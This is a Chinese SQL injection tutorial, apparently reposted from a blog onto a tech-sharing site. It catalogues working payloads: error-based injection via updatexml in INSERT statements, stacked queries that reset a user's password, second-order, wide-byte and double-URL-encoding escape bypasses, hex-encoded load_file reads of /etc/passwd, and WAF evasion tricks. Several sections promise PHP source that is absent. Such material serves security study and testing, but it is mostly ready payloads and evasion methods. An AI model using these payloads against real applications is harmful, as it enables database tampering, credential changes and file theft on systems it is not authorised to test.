ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

6.SQL注入-其他注入

2022-08-01 23:33:49  阅读:163  来源: 互联网

标签:1% user 其他 SQL article where id select 注入


一.更新注入

所有更新类的操作,只返回布尔型的结果,并不会返回数据,所以无法像select一样进行多元化的处理。

所以更新类的操作操作核心就是构建报错注入。

insert into user(username,password,role) values 
('wowo' or updatexml(1,concat(0x7e,database(),0x7e),1)
or ' ', '123456', 'user')

 

二.堆叠注入

在一个执行的语句中可以执行多条SQL(批量一次性执行多条SQL语句)

select * from user where userid = 1; 
update user set password='12345' where userid = 1;

?id=1; update user set password = '12345' where userid = 1;
select * from user where username = 'admin'; 
update user set password='12345' where userid=1;#''

上述payload实现PHP源码:

 

三.二次注入

# post请求:
username = admin'#$password = 12345

上述payload实现PHP源码:

 

 

四.宽字节注入

正常的sql语句:select * from article where article='1';

1. 当输入1'时,在addslashes函数对的保护下,单引号被反斜线\转义。被转义的sql语句:select * from article where article='1\";

2. 当输入1%bf’时,在gbk等宽字符集的环境下,%bf和用来转义的(%5c)形成新字符�。注入时的sql语句:select * from article

    where articleid =1%bf\' and 1=1%23;

3. %bf与转义符号(16进制为%5c)组合成了%bf%5c形成新字符,从而吃掉了这个转义符合,导致单引号可以闭合,形成经典

    的注入形式

id=-1%df' union select 1,2,3,4,5%23

select * from article where articleid='id=-1�\' union select 1,2,3,4,5#'

上述payload实现PHP源码:

 

 

 五.URL解码注入

id=1%2527 and 1=1%23
select * from article where articleid='1' and 1=1#'
id=1%2527 and 1=2%23
select * from article where articleid='1' and 1=2#'

上述payload实现PHP源码:

 

六.奇技婬巧

1.闭合与逻辑

1' or '1' ='1  闭合后:id='1' or '1' = '1'

也可以写成:1' || '1'='1,同理也可以使用&&表示and

1' or 1=1#  闭合后:id='1' or 1=1#'

2.所有的确定字符串,均可以使用hex函数来处理16进制,避免引号转义

select hex('/etc/passwd')    #输出为 2F6574632F706173737764

select load_file(0x2F6574632F706173737764)

select hex('learn')

select group_concat(table_name) 
from information_schema.tables where table_schema=0x6C6561726E select hex('%雨%') select * from article where content like 0x25E99BA825

3.WAF绕过

1.双写绕过:
select and or 等被过滤的话,可以这么构造,selselectect,anandd,
这样即使被过滤了,剩余字符串也能拼接成正常语句。 2.大小写绕过: SelecT,AnD,Or,可以用来绕过简单的过滤手段 3.编码绕过: Base64,ASCⅡ,16进制
select concat(ASCII('a'),ASCII('1'),char('50')); 4.特殊字符绕过: 空格:/**/,%20,%a0,%0d,%0b,%09,%0c,select(password)from(user)
and:&&
or:||
select * from/**/user
内联注释:select username from /*!user*/ /*!union*/ select 2
00截断:sel%00ect,mysql中不会截断,但是waf可能认为截断
%:sel%ect,如果是iis+asp,百分号会被忽略

 

标签:1%,user,其他,SQL,article,where,id,select,注入
来源: https://www.cnblogs.com/eveplw/p/16538706.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有